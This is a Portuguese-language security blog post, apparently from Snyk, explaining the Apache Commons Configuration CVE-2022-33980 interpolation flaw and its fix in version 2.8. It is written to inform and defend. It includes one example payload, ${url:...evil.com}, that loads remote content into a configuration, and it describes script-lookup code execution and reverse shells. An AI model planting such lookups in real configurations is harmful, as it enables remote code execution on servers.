Explorando a CVE-2022-33980: a vulnerabilidade de RCE na configuração do Apache Commons
Kyle Suero
8 de julho de 2022
0 minutos de leituraAntes de entrar nos detalhes desta vulnerabilidade, queremos deixar claro: não há motivo para pânico. Muitos sistemas permitem usar vários tipos de código em arquivos de configuração, e há casos de uso legítimos para incluir interpolação de strings e variáveis na configuração de aplicações e sistemas. Isso não é outro Log4Shell. Trata-se de uma simples manipulação de configuração. Se alguém consegue alterar sua configuração com facilidade ou os recursos dinâmicos para os quais ela pode apontar, provavelmente você tem problemas maiores para resolver.
Falha na configuração do Apache Commons
É possível realizar a execução arbitrária de código em arquivos de configuração do Apache Commons (presente nas versões 2.4 a 2.7) usando a funcionalidade padrão de interpolação de variáveis. O problema tem origem específica na função interpolate da classe ConfigurationInterpolator.
Em uma situação normal, a função interpolate recebe um valor de objeto que contém variáveis, que são substituídas quando podem ser resolvidas. O resultado é um valor de entrada com as variáveis substituídas — algo útil quando há diferenças entre as versões nos ambientes de desenvolvimento e produção. Em resumo, a função de interpolação permite avaliar os parâmetros de configuração dinamicamente. Há vários motivos legítimos para fazer isso.
No entanto, se essas consultas forem feitas por um arquivo de configuração controlado por um invasor, elas podem causar muitos danos. Por exemplo, ${url:UTF-8:[https://www.evil.com](https://www.evil.com)} usa o prefixo URL, que pode carregar arquivos remotos e valores para a configuração. Se alguém assumisse o controle da URL indicada por meio de um ataque, como a tomada de controle de um subdomínio, poderia explorar a situação para executar código arbitrário nos servidores da aplicação. Isso poderia permitir que o invasor se movesse pela rede e causasse outros comprometimentos.
Além do prefixo de consulta URL, há outros prefixos habilitados por padrão para resolver registros DNS e executar scripts. Se a configuração estiver sob controle de um invasor, isso pode ter consequências devastadoras.
É importante higienizar corretamente as configurações e ter atenção aos valores dinâmicos. Embora uma URL possa pertencer hoje à sua organização, quando o registro do domínio expirar, um invasor poderá comprometer configurações dinâmicas ao registrar esse domínio e hospedar conteúdo malicioso na URL antes legítima.
Prova de conceito da configuração do Apache Commons
Do Java 8 ao Java 15, o mecanismo de script Nashorn era fornecido por padrão no Java. Isso significa que podemos executar scripts sem nenhum esforço extra. O Nashorn oferece diferentes tipos de mecanismos para uso e execução. Os exemplos a seguir usam JavaScript e Nashorn, que permite executar código Java.
No exemplo abaixo, uso a função interpolate() para executar esses scripts. Com isso, o código JavaScript 5 + 4 resulta em 9, e o código Java com nashorn executa o ProcessBuilder, que abre a calculadora no meu Mac.
Nota do editor: para testar o código acima, você precisará substituir o "a" em "java" e o "s" em "values".
O último exemplo mostra como uma vulnerabilidade grave de execução arbitrária de código pode surgir quando um usuário influencia a entrada da função interpolate(). Abrir a calculadora não é particularmente interessante, mas a mesma técnica pode ser usada para executar um ataque de shell reverso ou algo ainda pior.

Vale observar que o Nashorn não está mais disponível por padrão no Java 15 e nas versões posteriores. Portanto, esses scripts só serão executados se você fornecer um mecanismo de script. No entanto, como muitas empresas ainda dependem de versões antigas, como o Java 8, isso pode ser um problema sério. Este é um ótimo exemplo do motivo para considerar usar a versão mais recente do Java, como o Java 17 (a versão LTS mais recente).
Corrigindo a configuração do Apache Commons
Esse problema deve ser corrigido a partir da versão 2.8, já que a versão mais recente desabilita por padrão os prefixos URL, DNS e script. Para permitir o comportamento de outros tipos de consulta, é preciso alterar as propriedades do sistema. Restringir o conjunto padrão de prefixos de consulta possíveis reduz bastante o impacto de arquivos de configuração controlados por agentes maliciosos.
A análise com o Snyk pode ajudar a determinar se essa vulnerabilidade está presente na sua stack. Se ela for detectada, atualize para a versão 2.8 e execute snyk monitor na CLI para continuar monitorando em produção.
Comece a participar de desafios de Capture the Flag
Aprenda a resolver desafios de Capture the Flag assistindo sob demanda ao nosso workshop virtual introdutório.
